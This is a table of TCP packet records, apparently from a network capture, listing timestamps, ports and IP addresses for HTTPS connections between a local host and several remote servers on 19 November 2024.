Nov 19, 2024 18:19:14.227094889 CET	49714	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.227119923 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.931283951 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.931691885 CET	49714	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.932595968 CET	49714	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.932606936 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.932864904 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.933953047 CET	49714	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.975363970 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:15.259718895 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:15.259807110 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:15.260770082 CET	49714	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:15.260770082 CET	49714	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:15.261368036 CET	49714	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:15.261388063 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:18.559263945 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:18.559303999 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:18.559377909 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:18.560595989 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:18.560617924 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.151520967 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.151604891 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.154308081 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.154319048 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.154547930 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.204767942 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.797458887 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.839337111 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.991118908 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.991147041 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.991156101 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.991215944 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.991261959 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.991293907 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.991309881 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.991338968 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.991338968 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.991358042 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.991698980 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.991765022 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:19.991777897 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.992075920 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:19.992126942 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:20.482803106 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:20.482861996 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:20.482881069 CET	49717	443	192.168.2.8	20.12.23.50
Nov 19, 2024 18:19:20.482891083 CET	443	49717	20.12.23.50	192.168.2.8
Nov 19, 2024 18:19:32.055345058 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.055391073 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.055444956 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.055922985 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.055937052 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.056408882 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.056453943 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.056539059 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.056708097 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.056720972 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.532711029 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.532988071 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.532993078 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.534131050 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.534185886 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.534972906 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.535043955 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.535329103 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.535334110 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.583913088 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.614931107 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.615163088 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.615178108 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.616101027 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.616173983 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.616470098 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.616532087 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.633829117 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.634001970 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.634061098 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.635510921 CET	49724	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.635531902 CET	443	49724	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.663260937 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.663285017 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.690033913 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.711954117 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:32.711996078 CET	443	49727	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:32.712073088 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:32.712860107 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:32.712872028 CET	443	49728	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:32.712928057 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:32.713280916 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:32.713295937 CET	443	49727	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:32.713784933 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:32.713797092 CET	443	49728	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:32.735372066 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.788747072 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.788825035 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:32.788873911 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.792591095 CET	49725	443	192.168.2.8	107.182.128.31
Nov 19, 2024 18:19:32.792613029 CET	443	49725	107.182.128.31	192.168.2.8
Nov 19, 2024 18:19:33.184123039 CET	443	49728	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.184422970 CET	443	49727	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.184465885 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.184494972 CET	443	49728	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.184588909 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.184597015 CET	443	49727	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.185422897 CET	443	49728	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.185512066 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.185656071 CET	443	49727	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.185709000 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.186523914 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.186557055 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.186624050 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.186635971 CET	443	49728	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.186916113 CET	443	49728	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.186930895 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.186949015 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.186995029 CET	49728	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187011957 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.187086105 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187143087 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187154055 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187180996 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187208891 CET	443	49727	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.187254906 CET	49727	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187380075 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187398911 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.187441111 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187670946 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187701941 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.187833071 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.187845945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.663985014 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.671024084 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.705687046 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.721467018 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.729396105 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.729430914 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.729743004 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.729769945 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.733403921 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.733488083 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.734143019 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.734220028 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.737690926 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.737917900 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.752727985 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.752919912 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.753448963 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.753494978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.796905994 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.796962023 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:33.796979904 CET	443	49729	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:33.842868090 CET	49729	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.041660070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.041835070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.041889906 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.041924953 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.042021036 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.042066097 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.042073965 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.042190075 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.042236090 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.042242050 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.042406082 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.042447090 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.042453051 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.042603016 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.042644024 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.042649984 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.045993090 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.046051025 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.046056986 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.100301981 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.131681919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.131939888 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.131987095 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.131998062 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132107973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132149935 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.132157087 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132261992 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132302999 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.132308960 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132616997 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132658958 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.132664919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132778883 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132819891 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.132824898 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.132972002 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.133016109 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.133022070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.133549929 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.133591890 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.133598089 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.133676052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.133719921 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.133724928 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.133840084 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.133882999 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.133893013 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.134592056 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.134629011 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.134634972 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.134726048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.134768009 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.134773016 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.177671909 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.177685022 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.217300892 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.223834991 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224004984 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224077940 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.224087000 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224199057 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224222898 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224261045 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.224268913 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224291086 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.224543095 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224592924 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.224598885 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224637985 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224646091 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.224652052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.224735022 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.225200891 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.225263119 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.225303888 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.225455046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.225490093 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.225497961 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.225506067 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.226157904 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.226206064 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.226212978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.226252079 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.226262093 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.226278067 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.226309061 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.226782084 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.226838112 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.226844072 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.226903915 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.226918936 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.226924896 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.226998091 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.227030039 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.227040052 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.227044106 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.227101088 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.227674007 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.227732897 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.227783918 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.227838039 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.263492107 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.263592005 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.316967964 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.317101955 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.317142963 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.317200899 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.317980051 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.318041086 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.318069935 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.318106890 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.318109989 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.318115950 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.318146944 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.318155050 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.318197966 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.318788052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.318856955 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.318907976 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.318953037 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.318962097 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.319009066 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.319242001 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.319292068 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.319557905 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.319603920 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.319710016 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.319755077 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.319996119 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.320030928 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.320079088 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.320079088 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.320086002 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.320187092 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.320223093 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.320233107 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.320238113 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.320259094 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.325675011 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.325717926 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.325742006 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.325748920 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.325754881 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.325783968 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.325789928 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.325808048 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.325814009 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.325819969 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.325846910 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.325908899 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.325917959 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.325959921 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.326411009 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.326459885 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.326463938 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.326489925 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.326507092 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.326513052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.326525927 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.354020119 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.354077101 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.354089022 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.354120016 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.354135990 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.354142904 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.354167938 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.397608042 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.407778978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.407808065 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.407851934 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.407926083 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.407938004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.407970905 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.408277035 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.408319950 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.408348083 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.408353090 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.408374071 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.409457922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.409502029 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.409533978 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.409542084 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.409552097 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.409858942 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.409904003 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:34.409920931 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:34.409928083 CET	443	49730	188.114.96.3	192.168.2.8
